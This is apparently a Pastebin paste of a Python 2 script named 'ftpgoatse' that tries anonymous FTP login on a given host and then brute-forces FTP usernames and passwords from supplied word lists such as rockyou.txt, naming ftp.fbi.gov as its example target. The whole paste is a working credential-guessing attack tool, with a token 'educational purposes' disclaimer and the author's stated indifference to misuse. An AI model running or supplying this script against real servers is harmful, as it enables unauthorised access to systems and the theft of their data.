Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- ####################################################################
- # By: Akeyla420 w/ google-fu
- # This code is for educational purposes, GNU or someshit.
- # Please don't use example target, or do, idgaf, just not from my IP
- # ##################################################################
- import ftplib
- import sys
- print "_____________________________________"
- print " ____ ____ ____ "
- print " ( ___)(_ _)( _ \ "
- print " )__) )( )___/ "
- print " (__) (__) (__) "
- print " ___ _____ __ ____ ___ ____ "
- print " / __)( _ ) /__\ (_ _)/ __)( ___)"
- print "( (_-. )(_)( /(__)\ )( \__ \ )__) "
- print " \___/(_____)(__)(__)(__) (___/(____)"
- print "_____________________________________"
- print ""
- if len(sys.argv) != 2 and len(sys.argv) != 4:
- print "Syntax: ftpgoatse <target> #For anonymous login attempt only"
- print "Syntax: ftpgoatse <target> <userlist> <wordlist> #Bruteforce"
- print "Example: ftpgoatse ftp.fbi.gov"
- print "Example: ftpgoatse ftp.fbi.gov userlist.txt rockyou.txt"
- quit()
- print "Searching for the gaping hole..."
- print "Attempting anonymous login to " + sys.argv[1]
- try:
- ftp = ftplib.FTP(sys.argv[1])
- ftp.login("anonymous", "anonymous")
- ftp.retrlines('list')
- ftp.quit()
- print "Anonymous login successful!"
- print "User = anonymous, password = anonymous"
- quit()
- except Exception, e:
- print "Anonymous login unsuccessful"
- if len(sys.argv) == 4:
- users = open(sys.argv[2], 'r')
- for user in users:
- passwords = open(sys.argv[3], 'r')
- for password in passwords:
- try:
- ftp = ftplib.FTP(sys.argv[1])
- ftp.login(user.rstrip(), password.rstrip())
- ftp.retrlines('list')
- ftp.quit()
- print "Goat hole found!"
- print "User = " + user + "Password = " + password
- quit()
- except Exception, e:
- print "Failed"
- print "Gaping hole not found...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement